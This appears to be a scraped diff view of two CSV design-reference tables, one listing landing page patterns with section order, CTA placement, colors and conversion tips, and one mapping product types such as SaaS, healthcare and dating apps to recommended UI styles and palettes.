21,Before-After Transformation,"before-after, transformation, results, comparison","1. Hero (problem state), 2. Transformation slider/comparison, 3. How it works, 4. Results CTA",After transformation reveal + Bottom,Contrast: muted/grey (before) vs vibrant/colorful (after). Success green for results.,"Slider comparison interaction, before/after reveal animations, result counters, testimonial videos",Visual proof of value. 45% higher conversion. Real results. Specific metrics. Guarantee offer.
|
||||
22,Marketplace / Directory,"marketplace, directory, search, listing","1. Hero (Search focused), 2. Categories, 3. Featured Listings, 4. Trust/Safety, 5. CTA (Become a host/seller)",Hero Search Bar + Navbar 'List your item',Search: High contrast. Categories: Visual icons. Trust: Blue/Green.,Search autocomplete animation, map hover pins, card carousel,Search bar is the CTA. Reduce friction to search. Popular searches suggestions.
|
||||
23,Newsletter / Content First,"newsletter, content, writer, blog, subscribe","1. Hero (Value Prop + Form), 2. Recent Issues/Archives, 3. Social Proof (Subscriber count), 4. About Author",Hero inline form + Sticky header form,Minimalist. Paper-like background. Text focus. Accent color for Subscribe.,Text highlight animations, typewriter effect, subtle fade-in,Single field form (Email only). Show 'Join X,000 readers'. Read sample link.
|
||||
24,Webinar Registration,"webinar, registration, event, training, live","1. Hero (Topic + Timer + Form), 2. What you'll learn, 3. Speaker Bio, 4. Urgency/Bonuses, 5. Form (again)",Hero (Right side form) + Bottom anchor,Urgency: Red/Orange. Professional: Blue/Navy. Form: High contrast white.,Countdown timer, speaker avatar float, urgent ticker,Limited seats logic. 'Live' indicator. Auto-fill timezone.
|
||||
25,Enterprise Gateway,"enterprise, corporate, gateway, solutions, portal","1. Hero (Video/Mission), 2. Solutions by Industry, 3. Solutions by Role, 4. Client Logos, 5. Contact Sales",Contact Sales (Primary) + Login (Secondary),Corporate: Navy/Grey. High integrity. Conservative accents.,Slow video background, logo carousel, tab switching for industries,Path selection (I am a...). Mega menu navigation. Trust signals prominent.
|
||||
26,Portfolio Grid,"portfolio, grid, showcase, gallery, masonry","1. Hero (Name/Role), 2. Project Grid (Masonry), 3. About/Philosophy, 4. Contact",Project Card Hover + Footer Contact,Neutral background (let work shine). Text: Black/White. Accent: Minimal.,Image lazy load reveal, hover overlay info, lightbox view,Visuals first. Filter by category. Fast loading essential.
|
||||
27,Horizontal Scroll Journey,"horizontal, scroll, journey, gallery, storytelling, panoramic","1. Intro (Vertical), 2. The Journey (Horizontal Track), 3. Detail Reveal, 4. Vertical Footer","Floating Sticky CTA or End of Horizontal Track","Continuous palette transition. Chapter colors. Progress bar #000000.","Scroll-jacking (careful), parallax layers, horizontal slide, progress indicator","Immersive product discovery. High engagement. Keep navigation visible.
|
||||
28,Bento Grid Showcase,"bento, grid, features, modular, apple-style, showcase","1. Hero, 2. Bento Grid (Key Features), 3. Detail Cards, 4. Tech Specs, 5. CTA","Floating Action Button or Bottom of Grid","Card backgrounds: #F5F5F7 or Glass. Icons: Vibrant brand colors. Text: Dark.","Hover card scale (1.02), video inside cards, tilt effect, staggered reveal","Scannable value props. High information density without clutter. Mobile stack.
|
||||
29,Interactive 3D Configurator,"3d, configurator, customizer, interactive, product","1. Hero (Configurator), 2. Feature Highlight (synced), 3. Price/Specs, 4. Purchase","Inside Configurator UI + Sticky Bottom Bar","Neutral studio background. Product: Realistic materials. UI: Minimal overlay.","Real-time rendering, material swap animation, camera rotate/zoom, light reflection","Increases ownership feeling. 360 view reduces return rates. Direct add-to-cart.
|
||||
No,Pattern Name,Keywords,Section Order,Primary CTA Placement,Color Strategy,Recommended Effects,Conversion Optimization
|
||||
1,Hero + Features + CTA,"hero, hero-centric, features, feature-rich, cta, call-to-action","1. Hero with headline/image, 2. Value prop, 3. Key features (3-5), 4. CTA section, 5. Footer",Hero (sticky) + Bottom,Hero: Brand primary or vibrant. Features: Card bg #FAFAFA. CTA: Contrasting accent color,"Hero parallax, feature card hover lift, CTA glow on hover",Deep CTA placement. Use contrasting color (at least 7:1 contrast ratio). Sticky navbar CTA.
|
||||
2,Hero + Testimonials + CTA,"hero, testimonials, social-proof, trust, reviews, cta","1. Hero, 2. Problem statement, 3. Solution overview, 4. Testimonials carousel, 5. CTA",Hero (sticky) + Post-testimonials,"Hero: Brand color. Testimonials: Light bg #F5F5F5. Quotes: Italic, muted color #666. CTA: Vibrant","Testimonial carousel slide animations, quote marks animations, avatar fade-in",Social proof before CTA. Use 3-5 testimonials. Include photo + name + role. CTA after social proof.
|
||||
3,Product Demo + Features,"demo, product-demo, features, showcase, interactive","1. Hero, 2. Product video/mockup (center), 3. Feature breakdown per section, 4. Comparison (optional), 5. CTA",Video center + CTA right/bottom,Video surround: Brand color overlay. Features: Icon color #0080FF. Text: Dark #222,"Video play button pulse, feature scroll reveals, demo interaction highlights",Embedded product demo increases engagement. Use interactive mockup if possible. Auto-play video muted.
|
||||
4,Minimal Single Column,"minimal, simple, direct, single-column, clean","1. Hero headline, 2. Short description, 3. Benefit bullets (3 max), 4. CTA, 5. Footer","Center, large CTA button",Minimalist: Brand + white #FFFFFF + accent. Buttons: High contrast 7:1+. Text: Black/Dark grey,Minimal hover effects. Smooth scroll. CTA scale on hover (subtle),Single CTA focus. Large typography. Lots of whitespace. No nav clutter. Mobile-first.
|
||||
5,Funnel (3-Step Conversion),"funnel, conversion, steps, wizard, onboarding","1. Hero, 2. Step 1 (problem), 3. Step 2 (solution), 4. Step 3 (action), 5. CTA progression",Each step: mini-CTA. Final: main CTA,"Step colors: 1 (Red/Problem), 2 (Orange/Process), 3 (Green/Solution). CTA: Brand color","Step number animations, progress bar fill, step transitions smooth scroll",Progressive disclosure. Show only essential info per step. Use progress indicators. Multiple CTAs.
|
||||
6,Comparison Table + CTA,"comparison, table, compare, versus, cta","1. Hero, 2. Problem intro, 3. Comparison table (product vs competitors), 4. Pricing (optional), 5. CTA",Table: Right column. CTA: Below table,Table: Alternating rows (white/light grey). Your product: Highlight #FFFACD (light yellow) or green. Text: Dark,"Table row hover highlight, price toggle animations, feature checkmark animations",Use comparison to show unique value. Highlight your product row. Include 'free trial' in pricing row.
|
||||
7,Lead Magnet + Form,"lead, form, signup, capture, email, magnet","1. Hero (benefit headline), 2. Lead magnet preview (ebook cover, checklist, etc), 3. Form (minimal fields), 4. CTA submit",Form CTA: Submit button,Lead magnet: Professional design. Form: Clean white bg. Inputs: Light border #CCCCCC. CTA: Brand color,"Form focus state animations, input validation animations, success confirmation animation",Form fields ≤ 3 for best conversion. Offer valuable lead magnet preview. Show form submission progress.
|
||||
8,Pricing Page + CTA,"pricing, plans, tiers, comparison, cta","1. Hero (pricing headline), 2. Price comparison cards, 3. Feature comparison table, 4. FAQ section, 5. Final CTA",Each card: CTA button. Sticky CTA in nav,"Free: Grey, Starter: Blue, Pro: Green/Gold, Enterprise: Dark. Cards: 1px border, shadow","Price toggle animation (monthly/yearly), card comparison highlight, FAQ accordion open/close",Recommend starter plan (pre-select/highlight). Show annual discount (20-30%). Use FAQs to address concerns.
|
||||
9,Video-First Hero,"video, hero, media, visual, engaging","1. Hero with video background, 2. Key features overlay, 3. Benefits section, 4. CTA",Overlay on video (center/bottom) + Bottom section,Dark overlay 60% on video. Brand accent for CTA. White text on dark.,"Video autoplay muted, parallax scroll, text fade-in on scroll",86% higher engagement with video. Add captions for accessibility. Compress video for performance.
|
||||
10,Scroll-Triggered Storytelling,"storytelling, scroll, narrative, story, immersive","1. Intro hook, 2. Chapter 1 (problem), 3. Chapter 2 (journey), 4. Chapter 3 (solution), 5. Climax CTA",End of each chapter (mini) + Final climax CTA,Progressive reveal. Each chapter has distinct color. Building intensity.,"ScrollTrigger animations, parallax layers, progressive disclosure, chapter transitions",Narrative increases time-on-page 3x. Use progress indicator. Mobile: simplify animations.
|
||||
11,AI Personalization Landing,"ai, personalization, smart, recommendation, dynamic","1. Dynamic hero (personalized), 2. Relevant features, 3. Tailored testimonials, 4. Smart CTA",Context-aware placement based on user segment,Adaptive based on user data. A/B test color variations per segment.,"Dynamic content swap, fade transitions, personalized product recommendations",20%+ conversion with personalization. Requires analytics integration. Fallback for new users.
|
||||
12,Waitlist/Coming Soon,"waitlist, coming-soon, launch, early-access, notify","1. Hero with countdown, 2. Product teaser/preview, 3. Email capture form, 4. Social proof (waitlist count)",Email form prominent (above fold) + Sticky form on scroll,Anticipation: Dark + accent highlights. Countdown in brand color. Urgency indicators.,"Countdown timer animation, email validation feedback, success confetti, social share buttons",Scarcity + exclusivity. Show waitlist count. Early access benefits. Referral program.
|
||||
13,Comparison Table Focus,"comparison, table, versus, compare, features","1. Hero (problem statement), 2. Comparison matrix (you vs competitors), 3. Feature deep-dive, 4. Winner CTA",After comparison table (highlighted row) + Bottom,Your product column highlighted (accent bg or green). Competitors neutral. Checkmarks green.,"Table row hover highlight, feature checkmark animations, sticky comparison header",Show value vs competitors. 35% higher conversion. Be factual. Include pricing if favorable.
|
||||
14,Pricing-Focused Landing,"pricing, price, cost, plans, subscription","1. Hero (value proposition), 2. Pricing cards (3 tiers), 3. Feature comparison, 4. FAQ, 5. Final CTA",Each pricing card + Sticky CTA in nav + Bottom,Popular plan highlighted (brand color border/bg). Free: grey. Enterprise: dark/premium.,"Price toggle monthly/annual animation, card hover lift, FAQ accordion smooth open",Annual discount 20-30%. Recommend mid-tier (most popular badge). Address objections in FAQ.
|
||||
15,App Store Style Landing,"app, mobile, download, store, install","1. Hero with device mockup, 2. Screenshots carousel, 3. Features with icons, 4. Reviews/ratings, 5. Download CTAs",Download buttons prominent (App Store + Play Store) throughout,Dark/light matching app store feel. Star ratings in gold. Screenshots with device frames.,"Device mockup rotations, screenshot slider, star rating animations, download button pulse",Show real screenshots. Include ratings (4.5+ stars). QR code for mobile. Platform-specific CTAs.
|
||||
16,FAQ/Documentation Landing,"faq, documentation, help, support, questions","1. Hero with search bar, 2. Popular categories, 3. FAQ accordion, 4. Contact/support CTA",Search bar prominent + Contact CTA for unresolved questions,"Clean, high readability. Minimal color. Category icons in brand color. Success green for resolved.","Search autocomplete, smooth accordion open/close, category hover, helpful feedback buttons",Reduce support tickets. Track search analytics. Show related articles. Contact escalation path.
|
||||
17,Immersive/Interactive Experience,"immersive, interactive, experience, 3d, animation","1. Full-screen interactive element, 2. Guided product tour, 3. Key benefits revealed, 4. CTA after completion",After interaction complete + Skip option for impatient users,Immersive experience colors. Dark background for focus. Highlight interactive elements.,"WebGL, 3D interactions, gamification elements, progress indicators, reward animations",40% higher engagement. Performance trade-off. Provide skip option. Mobile fallback essential.
|
||||
18,Event/Conference Landing,"event, conference, meetup, registration, schedule","1. Hero (date/location/countdown), 2. Speakers grid, 3. Agenda/schedule, 4. Sponsors, 5. Register CTA",Register CTA sticky + After speakers + Bottom,Urgency colors (countdown). Event branding. Speaker cards professional. Sponsor logos neutral.,"Countdown timer, speaker hover cards with bio, agenda tabs, early bird countdown",Early bird pricing with deadline. Social proof (past attendees). Speaker credibility. Multi-ticket discounts.
|
||||
19,Product Review/Ratings Focused,"reviews, ratings, testimonials, social-proof, stars","1. Hero (product + aggregate rating), 2. Rating breakdown, 3. Individual reviews, 4. Buy/CTA",After reviews summary + Buy button alongside reviews,Trust colors. Star ratings gold. Verified badge green. Review sentiment colors.,"Star fill animations, review filtering, helpful vote interactions, photo lightbox",User-generated content builds trust. Show verified purchases. Filter by rating. Respond to negative reviews.
|
||||
20,Community/Forum Landing,"community, forum, social, members, discussion","1. Hero (community value prop), 2. Popular topics/categories, 3. Active members showcase, 4. Join CTA",Join button prominent + After member showcase,"Warm, welcoming. Member photos add humanity. Topic badges in brand colors. Activity indicators green.","Member avatars animation, activity feed live updates, topic hover previews, join success celebration","Show active community (member count, posts today). Highlight benefits. Preview content. Easy onboarding."
|
||||
21,Before-After Transformation,"before-after, transformation, results, comparison","1. Hero (problem state), 2. Transformation slider/comparison, 3. How it works, 4. Results CTA",After transformation reveal + Bottom,Contrast: muted/grey (before) vs vibrant/colorful (after). Success green for results.,"Slider comparison interaction, before/after reveal animations, result counters, testimonial videos",Visual proof of value. 45% higher conversion. Real results. Specific metrics. Guarantee offer.
|
||||
22,Marketplace / Directory,"marketplace, directory, search, listing","1. Hero (Search focused), 2. Categories, 3. Featured Listings, 4. Trust/Safety, 5. CTA (Become a host/seller)",Hero Search Bar + Navbar 'List your item',Search: High contrast. Categories: Visual icons. Trust: Blue/Green.,Search autocomplete animation, map hover pins, card carousel,Search bar is the CTA. Reduce friction to search. Popular searches suggestions.
|
||||
23,Newsletter / Content First,"newsletter, content, writer, blog, subscribe","1. Hero (Value Prop + Form), 2. Recent Issues/Archives, 3. Social Proof (Subscriber count), 4. About Author",Hero inline form + Sticky header form,Minimalist. Paper-like background. Text focus. Accent color for Subscribe.,Text highlight animations, typewriter effect, subtle fade-in,Single field form (Email only). Show 'Join X,000 readers'. Read sample link.
|
||||
24,Webinar Registration,"webinar, registration, event, training, live","1. Hero (Topic + Timer + Form), 2. What you'll learn, 3. Speaker Bio, 4. Urgency/Bonuses, 5. Form (again)",Hero (Right side form) + Bottom anchor,Urgency: Red/Orange. Professional: Blue/Navy. Form: High contrast white.,Countdown timer, speaker avatar float, urgent ticker,Limited seats logic. 'Live' indicator. Auto-fill timezone.
|
||||
25,Enterprise Gateway,"enterprise, corporate, gateway, solutions, portal","1. Hero (Video/Mission), 2. Solutions by Industry, 3. Solutions by Role, 4. Client Logos, 5. Contact Sales",Contact Sales (Primary) + Login (Secondary),Corporate: Navy/Grey. High integrity. Conservative accents.,Slow video background, logo carousel, tab switching for industries,Path selection (I am a...). Mega menu navigation. Trust signals prominent.
|
||||
26,Portfolio Grid,"portfolio, grid, showcase, gallery, masonry","1. Hero (Name/Role), 2. Project Grid (Masonry), 3. About/Philosophy, 4. Contact",Project Card Hover + Footer Contact,Neutral background (let work shine). Text: Black/White. Accent: Minimal.,Image lazy load reveal, hover overlay info, lightbox view,Visuals first. Filter by category. Fast loading essential.
|
||||
27,Horizontal Scroll Journey,"horizontal, scroll, journey, gallery, storytelling, panoramic","1. Intro (Vertical), 2. The Journey (Horizontal Track), 3. Detail Reveal, 4. Vertical Footer","Floating Sticky CTA or End of Horizontal Track","Continuous palette transition. Chapter colors. Progress bar #000000.","Scroll-jacking (careful), parallax layers, horizontal slide, progress indicator","Immersive product discovery. High engagement. Keep navigation visible.
|
||||
28,Bento Grid Showcase,"bento, grid, features, modular, apple-style, showcase","1. Hero, 2. Bento Grid (Key Features), 3. Detail Cards, 4. Tech Specs, 5. CTA","Floating Action Button or Bottom of Grid","Card backgrounds: #F5F5F7 or Glass. Icons: Vibrant brand colors. Text: Dark.","Hover card scale (1.02), video inside cards, tilt effect, staggered reveal","Scannable value props. High information density without clutter. Mobile stack.
|
||||
29,Interactive 3D Configurator,"3d, configurator, customizer, interactive, product","1. Hero (Configurator), 2. Feature Highlight (synced), 3. Price/Specs, 4. Purchase","Inside Configurator UI + Sticky Bottom Bar","Neutral studio background. Product: Realistic materials. UI: Minimal overlay.","Real-time rendering, material swap animation, camera rotate/zoom, light reflection","Increases ownership feeling. 360 view reduces return rates. Direct add-to-cart.
|
||||
30,AI-Driven Dynamic Landing,"ai, dynamic, personalized, adaptive, generative","1. Prompt/Input Hero, 2. Generated Result Preview, 3. How it Works, 4. Value Prop","Input Field (Hero) + 'Try it' Buttons","Adaptive to user input. Dark mode for compute feel. Neon accents.","Typing text effects, shimmering generation loaders, morphing layouts","Immediate value demonstration. 'Show, don't tell'. Low friction start.
|
||||
|
Can't render this file because it contains an unexpected character in line 29 and column 24.
|
@@ -1,97 +1,97 @@
|
||||
No,Product Type,Keywords,Primary Style Recommendation,Secondary Styles,Landing Page Pattern,Dashboard Style (if applicable),Color Palette Focus,Key Considerations
|
||||
1,SaaS (General),"app, b2b, cloud, general, saas, software, subscription",Glassmorphism + Flat Design,"Soft UI Evolution, Minimalism",Hero + Features + CTA,Data-Dense + Real-Time Monitoring,Trust blue + accent contrast,Balance modern feel with clarity. Focus on CTAs.
|
||||
2,Micro SaaS,"app, b2b, cloud, indie, micro, micro-saas, niche, saas, small, software, solo, subscription",Flat Design + Vibrant & Block,"Motion-Driven, Micro-interactions",Minimal & Direct + Demo,Executive Dashboard,Vibrant primary + white space,"Keep simple, show product quickly. Speed is key."
|
||||
3,E-commerce,"buy, commerce, e, ecommerce, products, retail, sell, shop, store",Vibrant & Block-based,"Aurora UI, Motion-Driven",Feature-Rich Showcase,Sales Intelligence Dashboard,Brand primary + success green,Engagement & conversions. High visual hierarchy.
|
||||
4,E-commerce Luxury,"buy, commerce, e, ecommerce, elegant, exclusive, high-end, luxury, premium, products, retail, sell, shop, store",Liquid Glass + Glassmorphism,"3D & Hyperrealism, Aurora UI",Feature-Rich Showcase,Sales Intelligence Dashboard,Premium colors + minimal accent,Elegance & sophistication. Premium materials.
|
||||
5,Service Landing Page,"appointment, booking, consultation, conversion, landing, marketing, page, service",Hero-Centric + Trust & Authority,"Social Proof-Focused, Storytelling",Hero-Centric Design,N/A - Analytics for conversions,Brand primary + trust colors,Social proof essential. Show expertise.
|
||||
6,B2B Service,"appointment, b, b2b, booking, business, consultation, corporate, enterprise, service",Trust & Authority + Minimal,"Feature-Rich, Conversion-Optimized",Feature-Rich Showcase,Sales Intelligence Dashboard,Professional blue + neutral grey,Credibility essential. Clear ROI messaging.
|
||||
7,Financial Dashboard,"admin, analytics, dashboard, data, financial, panel",Dark Mode (OLED) + Data-Dense,"Minimalism, Accessible & Ethical",N/A - Dashboard focused,Financial Dashboard,Dark bg + red/green alerts + trust blue,"High contrast, real-time updates, accuracy paramount."
|
||||
8,Analytics Dashboard,"admin, analytics, dashboard, data, panel",Data-Dense + Heat Map & Heatmap,"Minimalism, Dark Mode (OLED)",N/A - Analytics focused,Drill-Down Analytics + Comparative,Cool→Hot gradients + neutral grey,Clarity > aesthetics. Color-coded data priority.
|
||||
9,Healthcare App,"app, clinic, health, healthcare, medical, patient",Neumorphism + Accessible & Ethical,"Soft UI Evolution, Claymorphism (for patients)",Social Proof-Focused,User Behavior Analytics,Calm blue + health green + trust,Accessibility mandatory. Calming aesthetic.
|
||||
10,Educational App,"app, course, education, educational, learning, school, training",Claymorphism + Micro-interactions,"Vibrant & Block-based, Flat Design",Storytelling-Driven,User Behavior Analytics,Playful colors + clear hierarchy,Engagement & ease of use. Age-appropriate design.
|
||||
11,Creative Agency,"agency, creative, design, marketing, studio",Brutalism + Motion-Driven,"Retro-Futurism, Storytelling-Driven",Storytelling-Driven,N/A - Portfolio focused,Bold primaries + artistic freedom,Differentiation key. Wow-factor necessary.
|
||||
12,Portfolio/Personal,"creative, personal, portfolio, projects, showcase, work",Motion-Driven + Minimalism,"Brutalism, Aurora UI",Storytelling-Driven,N/A - Personal branding,Brand primary + artistic interpretation,Showcase work. Personality shine through.
|
||||
13,Gaming,"entertainment, esports, game, gaming, play",3D & Hyperrealism + Retro-Futurism,"Motion-Driven, Vibrant & Block",Feature-Rich Showcase,N/A - Game focused,Vibrant + neon + immersive colors,Immersion priority. Performance critical.
|
||||
14,Government/Public Service,"appointment, booking, consultation, government, public, service",Accessible & Ethical + Minimalism,"Flat Design, Inclusive Design",Minimal & Direct,Executive Dashboard,Professional blue + high contrast,WCAG AAA mandatory. Trust paramount.
|
||||
15,Fintech/Crypto,"banking, blockchain, crypto, defi, finance, fintech, money, nft, payment, web3",Glassmorphism + Dark Mode (OLED),"Retro-Futurism, Motion-Driven",Conversion-Optimized,Real-Time Monitoring + Predictive,Dark tech colors + trust + vibrant accents,Security perception. Real-time data critical.
|
||||
16,Social Media App,"app, community, content, entertainment, media, network, sharing, social, streaming, users, video",Vibrant & Block-based + Motion-Driven,"Aurora UI, Micro-interactions",Feature-Rich Showcase,User Behavior Analytics,Vibrant + engagement colors,Engagement & retention. Addictive design ethics.
|
||||
17,Productivity Tool,"collaboration, productivity, project, task, tool, workflow",Flat Design + Micro-interactions,"Minimalism, Soft UI Evolution",Interactive Product Demo,Drill-Down Analytics,Clear hierarchy + functional colors,Ease of use. Speed & efficiency focus.
|
||||
18,Design System/Component Library,"component, design, library, system",Minimalism + Accessible & Ethical,"Flat Design, Zero Interface",Feature-Rich Showcase,N/A - Dev focused,Clear hierarchy + code-like structure,Consistency. Developer-first approach.
|
||||
19,AI/Chatbot Platform,"ai, artificial-intelligence, automation, chatbot, machine-learning, ml, platform",AI-Native UI + Minimalism,"Zero Interface, Glassmorphism",Interactive Product Demo,AI/ML Analytics Dashboard,Neutral + AI Purple (#6366F1),Conversational UI. Streaming text. Context awareness. Minimal chrome.
|
||||
20,NFT/Web3 Platform,"nft, platform, web",Cyberpunk UI + Glassmorphism,"Aurora UI, 3D & Hyperrealism",Feature-Rich Showcase,Crypto/Blockchain Dashboard,Dark + Neon + Gold (#FFD700),Wallet integration. Transaction feedback. Gas fees display. Dark mode essential.
|
||||
21,Creator Economy Platform,"creator, economy, platform",Vibrant & Block-based + Bento Box Grid,"Motion-Driven, Aurora UI",Social Proof-Focused,User Behavior Analytics,Vibrant + Brand colors,Creator profiles. Monetization display. Engagement metrics. Social proof.
|
||||
22,Sustainability/ESG Platform,"ai, artificial-intelligence, automation, esg, machine-learning, ml, platform, sustainability",Organic Biophilic + Minimalism,"Accessible & Ethical, Flat Design",Trust & Authority,Energy/Utilities Dashboard,Green (#228B22) + Earth tones,Carbon footprint visuals. Progress indicators. Certification badges. Eco-friendly imagery.
|
||||
23,Remote Work/Collaboration Tool,"collaboration, remote, tool, work",Soft UI Evolution + Minimalism,"Glassmorphism, Micro-interactions",Feature-Rich Showcase,Drill-Down Analytics,Calm Blue + Neutral grey,Real-time collaboration. Status indicators. Video integration. Notification management.
|
||||
24,Mental Health App,"app, health, mental",Neumorphism + Accessible & Ethical,"Claymorphism, Soft UI Evolution",Social Proof-Focused,Healthcare Analytics,Calm Pastels + Trust colors,Calming aesthetics. Privacy-first. Crisis resources. Progress tracking. Accessibility mandatory.
|
||||
25,Pet Tech App,"app, pet, tech",Claymorphism + Vibrant & Block-based,"Micro-interactions, Flat Design",Storytelling-Driven,User Behavior Analytics,Playful + Warm colors,Pet profiles. Health tracking. Playful UI. Photo galleries. Vet integration.
|
||||
26,Smart Home/IoT Dashboard,"admin, analytics, dashboard, data, home, iot, panel, smart",Glassmorphism + Dark Mode (OLED),"Minimalism, AI-Native UI",Interactive Product Demo,Real-Time Monitoring,Dark + Status indicator colors,Device status. Real-time controls. Energy monitoring. Automation rules. Quick actions.
|
||||
27,EV/Charging Ecosystem,"charging, ecosystem, ev",Minimalism + Aurora UI,"Glassmorphism, Organic Biophilic",Hero-Centric Design,Energy/Utilities Dashboard,Electric Blue (#009CD1) + Green,Charging station maps. Range estimation. Cost calculation. Environmental impact.
|
||||
28,Subscription Box Service,"appointment, booking, box, consultation, membership, plan, recurring, service, subscription",Vibrant & Block-based + Motion-Driven,"Claymorphism, Aurora UI",Feature-Rich Showcase,E-commerce Analytics,Brand + Excitement colors,Unboxing experience. Personalization quiz. Subscription management. Product reveals.
|
||||
29,Podcast Platform,"platform, podcast",Dark Mode (OLED) + Minimalism,"Motion-Driven, Vibrant & Block-based",Storytelling-Driven,Media/Entertainment Dashboard,Dark + Audio waveform accents,Audio player UX. Episode discovery. Creator tools. Analytics for podcasters.
|
||||
30,Dating App,"app, dating",Vibrant & Block-based + Motion-Driven,"Aurora UI, Glassmorphism",Social Proof-Focused,User Behavior Analytics,Warm + Romantic (Pink/Red gradients),Profile cards. Swipe interactions. Match animations. Safety features. Video chat.
|
||||
31,Micro-Credentials/Badges Platform,"badges, credentials, micro, platform",Minimalism + Flat Design,"Accessible & Ethical, Swiss Modernism 2.0",Trust & Authority,Education Dashboard,Trust Blue + Gold (#FFD700),Credential verification. Badge display. Progress tracking. Issuer trust. LinkedIn integration.
|
||||
32,Knowledge Base/Documentation,"base, documentation, knowledge",Minimalism + Accessible & Ethical,"Swiss Modernism 2.0, Flat Design",FAQ/Documentation,N/A - Documentation focused,Clean hierarchy + minimal color,Search-first. Clear navigation. Code highlighting. Version switching. Feedback system.
|
||||
33,Hyperlocal Services,"appointment, booking, consultation, hyperlocal, service, services",Minimalism + Vibrant & Block-based,"Micro-interactions, Flat Design",Conversion-Optimized,Drill-Down Analytics + Map,Location markers + Trust colors,Map integration. Service categories. Provider profiles. Booking system. Reviews.
|
||||
34,Beauty/Spa/Wellness Service,"appointment, beauty, booking, consultation, service, spa, wellness",Soft UI Evolution + Neumorphism,"Glassmorphism, Minimalism",Hero-Centric Design + Social Proof,User Behavior Analytics,Soft pastels (Pink #FFB6C1 Sage #90EE90) + Cream + Gold accents,Calming aesthetic. Booking system. Service menu. Before/after gallery. Testimonials. Relaxing imagery.
|
||||
35,Luxury/Premium Brand,"brand, elegant, exclusive, high-end, luxury, premium",Liquid Glass + Glassmorphism,"Minimalism, 3D & Hyperrealism",Storytelling-Driven + Feature-Rich,Sales Intelligence Dashboard,Black + Gold (#FFD700) + White + Minimal accent,Elegance paramount. Premium imagery. Storytelling. High-quality visuals. Exclusive feel.
|
||||
36,Restaurant/Food Service,"appointment, booking, consultation, delivery, food, menu, order, restaurant, service",Vibrant & Block-based + Motion-Driven,"Claymorphism, Flat Design",Hero-Centric Design + Conversion,N/A - Booking focused,Warm colors (Orange Red Brown) + appetizing imagery,Menu display. Online ordering. Reservation system. Food photography. Location/hours prominent.
|
||||
37,Fitness/Gym App,"app, exercise, fitness, gym, health, workout",Vibrant & Block-based + Dark Mode (OLED),"Motion-Driven, Neumorphism",Feature-Rich Showcase,User Behavior Analytics,Energetic (Orange #FF6B35 Electric Blue) + Dark bg,Progress tracking. Workout plans. Community features. Achievements. Motivational design.
|
||||
38,Real Estate/Property,"buy, estate, housing, property, real, real-estate, rent",Glassmorphism + Minimalism,"Motion-Driven, 3D & Hyperrealism",Hero-Centric Design + Feature-Rich,Sales Intelligence Dashboard,Trust Blue (#0077B6) + Gold accents + White,Property listings. Virtual tours. Map integration. Agent profiles. Mortgage calculator. High-quality imagery.
|
||||
39,Travel/Tourism Agency,"agency, booking, creative, design, flight, hotel, marketing, studio, tourism, travel, vacation",Aurora UI + Motion-Driven,"Vibrant & Block-based, Glassmorphism",Storytelling-Driven + Hero-Centric,Booking Analytics,Vibrant destination colors + Sky Blue + Warm accents,Destination showcase. Booking system. Itinerary builder. Reviews. Inspiration galleries. Mobile-first.
|
||||
40,Hotel/Hospitality,"hospitality, hotel",Liquid Glass + Minimalism,"Glassmorphism, Soft UI Evolution",Hero-Centric Design + Social Proof,Revenue Management Dashboard,Warm neutrals + Gold (#D4AF37) + Brand accent,Room booking. Amenities showcase. Location maps. Guest reviews. Seasonal pricing. Luxury imagery.
|
||||
41,Wedding/Event Planning,"conference, event, meetup, planning, registration, ticket, wedding",Soft UI Evolution + Aurora UI,"Glassmorphism, Motion-Driven",Storytelling-Driven + Social Proof,N/A - Planning focused,Soft Pink (#FFD6E0) + Gold + Cream + Sage,Portfolio gallery. Vendor directory. Planning tools. Timeline. Budget tracker. Romantic aesthetic.
|
||||
42,Legal Services,"appointment, attorney, booking, compliance, consultation, contract, law, legal, service, services",Trust & Authority + Minimalism,"Accessible & Ethical, Swiss Modernism 2.0",Trust & Authority + Minimal,Case Management Dashboard,Navy Blue (#1E3A5F) + Gold + White,Credibility paramount. Practice areas. Attorney profiles. Case results. Contact forms. Professional imagery.
|
||||
43,Insurance Platform,"insurance, platform",Trust & Authority + Flat Design,"Accessible & Ethical, Minimalism",Conversion-Optimized + Trust,Claims Analytics Dashboard,Trust Blue (#0066CC) + Green (security) + Neutral,Quote calculator. Policy comparison. Claims process. Trust signals. Clear pricing. Security badges.
|
||||
44,Banking/Traditional Finance,"banking, finance, traditional",Minimalism + Accessible & Ethical,"Trust & Authority, Dark Mode (OLED)",Trust & Authority + Feature-Rich,Financial Dashboard,Navy (#0A1628) + Trust Blue + Gold accents,Security-first. Account overview. Transaction history. Mobile banking. Accessibility critical. Trust paramount.
|
||||
45,Online Course/E-learning,"course, e, learning, online",Claymorphism + Vibrant & Block-based,"Motion-Driven, Flat Design",Feature-Rich Showcase + Social Proof,Education Dashboard,Vibrant learning colors + Progress green,Course catalog. Progress tracking. Video player. Quizzes. Certificates. Community forums. Gamification.
|
||||
46,Non-profit/Charity,"charity, non, profit",Accessible & Ethical + Organic Biophilic,"Minimalism, Storytelling-Driven",Storytelling-Driven + Trust,Donation Analytics Dashboard,Cause-related colors + Trust + Warm,Impact stories. Donation flow. Transparency reports. Volunteer signup. Event calendar. Emotional connection.
|
||||
47,Music Streaming,"music, streaming",Dark Mode (OLED) + Vibrant & Block-based,"Motion-Driven, Aurora UI",Feature-Rich Showcase,Media/Entertainment Dashboard,Dark (#121212) + Vibrant accents + Album art colors,Audio player. Playlist management. Artist pages. Personalization. Social features. Waveform visualizations.
|
||||
48,Video Streaming/OTT,"ott, streaming, video",Dark Mode (OLED) + Motion-Driven,"Glassmorphism, Vibrant & Block-based",Hero-Centric Design + Feature-Rich,Media/Entertainment Dashboard,Dark bg + Content poster colors + Brand accent,Video player. Content discovery. Watchlist. Continue watching. Personalized recommendations. Thumbnail-heavy.
|
||||
49,Job Board/Recruitment,"board, job, recruitment",Flat Design + Minimalism,"Vibrant & Block-based, Accessible & Ethical",Conversion-Optimized + Feature-Rich,HR Analytics Dashboard,Professional Blue + Success Green + Neutral,Job listings. Search/filter. Company profiles. Application tracking. Resume upload. Salary insights.
|
||||
50,Marketplace (P2P),"buyers, listings, marketplace, p, platform, sellers",Vibrant & Block-based + Flat Design,"Micro-interactions, Trust & Authority",Feature-Rich Showcase + Social Proof,E-commerce Analytics,Trust colors + Category colors + Success green,Seller/buyer profiles. Listings. Reviews/ratings. Secure payment. Messaging. Search/filter. Trust badges.
|
||||
